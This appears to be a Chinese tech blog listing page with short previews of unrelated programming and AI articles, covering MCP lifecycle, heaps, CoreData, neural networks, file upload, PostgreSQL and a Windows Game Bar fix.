【AI知识管理系统】(一)AI知识库工具测评
嘿,朋友们!🧐你们有没有想过,咱们平日里那些一闪而过的知识笔记、各种碎片化的idea,记录下来之后都是怎么管理的呀? 还有啊,咱们读过的那些书,大家会不会随手写点东西记录一下呢?📝要知道,如果不写的话,很可能过不了多久就全忘得一干二净啦。 😭那多年前记下的…...
Model Context Protocol 的生命周期
生命周期阶段 生命周期分为三个主要阶段: 初始化阶段 (Initialization) 客户端与服务器建立协议版本兼容性。交换并协商能力。分享实现细节。客户端必须发送 initialize 请求,包含支持的协议版本、客户端能力和客户端实现信息。服务器必须响应其自身能力…...
hot100_part_堆
不该要求事情一开始就是完美。 堆排序 【从堆的定义到优先队列、堆排序】 10分钟看懂必考的数据结构——堆_哔哩哔哩_bilibili 排序算法:堆排序【图解代码】_哔哩哔哩_bilibili 堆定义 堆必须是完全二叉树,从上到下,从左到右不能用空缺。…...
CoreData 调试警告:多个 NSEntityDescriptions 声明冲突的解决
概述 目前在苹果生态 App 的开发中,CoreData 数据库仍然是大部分中小应用的优先之选。不过,运行时 CoreData 常常产生各种“絮絮叨叨”的警告不禁让初学的秃头小码农们云里雾里。 这不,对于下面这一大段 CoreData 警告,大家是否一…...
【白话神经网络(二)】矩阵、CNN、RNN
全连接层 回顾前面学过的知识: 一个最简单的神经网络,就是ywxb 套上一个激活函数。 如果有多个输入,那就是多个w和x 如果有多个输出,那就再来一行公式,多一组w和b 要是神经元多了的话,公式密密麻麻的&…...
map容器练习:使用map容器识别统计单词个数
题目链接:单词识别_牛客题霸_牛客网 对map的使用不太熟悉的同学可以参考:超详细介绍map(multimap)的使用-CSDN博客 题目解析 输入一个英文句子,把句子中的单词(不区分大小写)按出现次数按从多到少把单词和次数在屏幕…...
DeepSeek 是否被过度吹捧了?
DeepSeek 作为中国人工智能领域的后起之秀,其技术进展引发了广泛关注和讨论。然而,DeepSeek 是否被过度吹捧仍然值得客观分析。 DeepSeek 的确取得了不错的成果,不过可能没有媒体宣传和人们想象中那么重大。它的轰动性主要在于以低廉的成本达…...
前端大文件上传(分片上传)与下载
文章目录 一、问题二、思路1、选择文件2、校验文件是否符合规范3、文件切片上传4、分片上传注意点5、大文件下载 一、问题 日常业务中难免出现前端需要向后端传输大型文件的情况,这时单次的请求不能满足传输大文件的需求,就需要用到分片上传 业务需求为…...
【最佳实践】Go 状态模式
设计思路 状态模式的核心在于将对象的行为封装在特定的状态类中,使得对象在不同的状态下表现出不同的行为。每个状态实现同一个接口,允许对象在运行时通过改变其内部状态对象来改变其行为。状态模式使得状态转换更加明确,并且易于扩展新的状…...
如何用Python批量将CSV文件编码转换为UTF-8并转为Excel格式?
在处理数据时,CSV文件格式常常用作数据的交换格式。不过,很多情况下我们会遇到编码问题,特别是当文件不是UTF-8编码时。为了更好地处理这些文件,可能需要将它们转换为UTF-8编码,并且将其转换为Excel格式,这…...
回顾Transformer,并深入讲解替代方案Mamba原理(图解)
一种语言建模中 Transformer 的替代方案 Transformer 架构是大语言模型(LLMs)成功的关键组成部分。几乎所有今天使用的大语言模型都采用了该架构,从开源模型如 Mistral 到闭源模型如 ChatGPT。 为了进一步改进大语言模型,新的架构…...
2025开源风险治理最佳实践︱新能源汽车车企开源风险治理案例
案例来源:悬镜安全 案例背景 当前我国新能源汽车产业蓬勃发展,智能网联趋势持续深化。汽车技术与工程核心逐渐从传统硬件层面转移到软件层面,踏上软件定义汽车(SDV)的变革之路。引用开源组件成为车企、Tier1、Tier2在软件开发过程中的常规操…...
Spring中Bean的自动装配
1.自动装配的核心概念 定义: Bean的自动装配是Spring框架中用于自动满足Bean依赖的一种机制。通过自动装配,Spring容器会在应用上下文中为某个Bean寻找其依赖的Bean,从而减少手动配置的工作量。其核心目标是减少配置代码,通过类型…...
一文掌握 PostgreSQL 的各种指令(PostgreSQL指令备忘)
引言 PostgreSQL 作为一款功能强大、开源的关系型数据库管理系统(RDBMS),以其高扩展性、SQL 标准兼容性以及丰富的功能特性,成为企业级应用的首选数据库之一。无论是开发、运维还是数据分析,掌握 PostgreSQL 的核心指…...
C#入门学习记录(三)C#中的隐式和显示转换
C#类型转换:隐式与显式转换的机制与应用 在C#的强类型体系中,数据类型转换是实现数据交互和算法逻辑的基础操作。当数值类型范围存在包含关系,或对象类型存在继承层次时,系统通过预定义的转换规则实现类型兼容处理。隐式转换&…...
【Linux网络-网络层】TCP与IP的关系+IP协议基本概念+网段划分+路由+IP分片与组装
网络层 在复杂的网络环境中确定一个合适的路径 一、TCP与IP的关系 TCP(传输控制协议)和IP(互联网协议)是互联网协议栈中的两个核心协议,属于不同的层级,分别在传输层和网络层,共同实现数据的可…...
【第K小数——可持久化权值线段树】
题目 代码 #include <bits/stdc.h> using namespace std;const int N 1e5 10;int a[N], b[N]; int n, m, len; int rt[N], idx; // idx 是点分配器struct node {int l, r;int s; } tr[N * 22];int getw(int x) {return lower_bound(b 1, b len 1, x) - b; }int bui…...
需要使用新应用以打开此ms-gamingoverlay链接怎么解决
要解决Windows系统提示“需要使用新应用以打开此ms-gamingoverlay链接”的问题,通常与系统自带的游戏工具栏(Game Bar)或Xbox相关应用缺失或配置错误有关。以下是综合多个来源的详细解决方法: 方法1:关闭游戏栏功能 这…...